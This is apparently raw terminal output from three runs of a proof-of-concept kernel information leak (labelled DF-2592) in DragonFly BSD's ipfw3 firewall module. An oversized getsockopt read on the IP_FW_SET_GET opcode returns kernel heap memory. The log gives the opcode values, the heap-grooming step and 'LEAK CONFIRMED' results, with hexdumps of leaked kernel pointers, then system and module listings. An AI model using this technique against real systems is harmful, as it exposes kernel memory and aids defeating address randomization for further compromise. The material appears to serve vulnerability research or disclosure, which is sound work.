=== DF-2592 baseline run 1 (readlen=4096) ===
[*] DF-2592 ip_fw3_ctl_set_get unbounded bcopy heap leak
[*] getsockopt(IPPROTO_IP, IP_FW_X=49, opcode=IP_FW_SET_GET=95) readlen=4096
[*] ctx->sets is a single uint32_t (4 bytes); we read 4096 bytes -> 4088 leaked
[*] churning kernel heap (pipes/sockets) to populate slab residue...
[+] raw socket opened fd=3
[*] getsockopt len=4096 (before)
[*] getsockopt rc=0 errno=0 (Undefined error: 0) returned len=4092
[*] got=4092 bytes back; nonzero total=477, after[4]=477, after[36]=462
[*] first nonzero byte at offset 16
[*] ctx->sets = 0x00000000
[!] LEAK CONFIRMED: 477 nonzero bytes returned past the 4-byte sets field
[!] sample hexdump (offset 0..63 of returned buffer):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
80 98 0a 4f 00 f8 ff ff 30 09 60 82 ff ff ff ff 
00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 20 21 0a 4f 00 f8 ff ff 

[!] leak window [16..144):
80980a4f00f8ffff30096082ffffffff00000000000000000100000000000000
000000000000000020210a4f00f8ffff200b6082ffffffff0000000000000000
02000000000000005053144f00f8ffff80e5b08b00f8ffff28dcb08b00f8ffff
38e0b08b00f8ffff00000000000000007853144f00f8ffff88e7b08b00f8ffff
[*] done
RC1=0

=== DF-2592 baseline run 2 (readlen=2048) ===
[*] DF-2592 ip_fw3_ctl_set_get unbounded bcopy heap leak
[*] getsockopt(IPPROTO_IP, IP_FW_X=49, opcode=IP_FW_SET_GET=95) readlen=2048
[*] ctx->sets is a single uint32_t (4 bytes); we read 2048 bytes -> 2040 leaked
[*] churning kernel heap (pipes/sockets) to populate slab residue...
[+] raw socket opened fd=3
[*] getsockopt len=2048 (before)
[*] getsockopt rc=0 errno=0 (Undefined error: 0) returned len=2044
[*] got=2044 bytes back; nonzero total=477, after[4]=477, after[36]=462
[*] first nonzero byte at offset 16
[*] ctx->sets = 0x00000000
[!] LEAK CONFIRMED: 477 nonzero bytes returned past the 4-byte sets field
[!] sample hexdump (offset 0..63 of returned buffer):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
80 98 0a 4f 00 f8 ff ff 30 09 60 82 ff ff ff ff 
00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 20 21 0a 4f 00 f8 ff ff 

[!] leak window [16..144):
80980a4f00f8ffff30096082ffffffff00000000000000000100000000000000
000000000000000020210a4f00f8ffff200b6082ffffffff0000000000000000
02000000000000005053144f00f8ffff80e5b08b00f8ffff28dcb08b00f8ffff
38e0b08b00f8ffff00000000000000007853144f00f8ffff88e7b08b00f8ffff
[*] done
RC2=0

=== DF-2592 baseline run 3 (readlen=8192) ===
[*] DF-2592 ip_fw3_ctl_set_get unbounded bcopy heap leak
[*] getsockopt(IPPROTO_IP, IP_FW_X=49, opcode=IP_FW_SET_GET=95) readlen=8192
[*] ctx->sets is a single uint32_t (4 bytes); we read 8192 bytes -> 8184 leaked
[*] churning kernel heap (pipes/sockets) to populate slab residue...
[+] raw socket opened fd=3
[*] getsockopt len=8192 (before)
[*] getsockopt rc=0 errno=0 (Undefined error: 0) returned len=8188
[*] got=8188 bytes back; nonzero total=477, after[4]=477, after[36]=462
[*] first nonzero byte at offset 16
[*] ctx->sets = 0x00000000
[!] LEAK CONFIRMED: 477 nonzero bytes returned past the 4-byte sets field
[!] sample hexdump (offset 0..63 of returned buffer):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
80 98 0a 4f 00 f8 ff ff 30 09 60 82 ff ff ff ff 
00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 20 21 0a 4f 00 f8 ff ff 

[!] leak window [16..144):
80980a4f00f8ffff30096082ffffffff00000000000000000100000000000000
000000000000000020210a4f00f8ffff200b6082ffffffff0000000000000000
02000000000000005053144f00f8ffff80e5b08b00f8ffff28dcb08b00f8ffff
38e0b08b00f8ffff00000000000000007853144f00f8ffff88e7b08b00f8ffff
[*] done
RC3=0
=== uname ===
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
=== kldstat ===
 4    2 0xffffffff82600000    49000 ipfw3.ko
 5    1 0xffffffff82649000    95000 ipfw3_basic.ko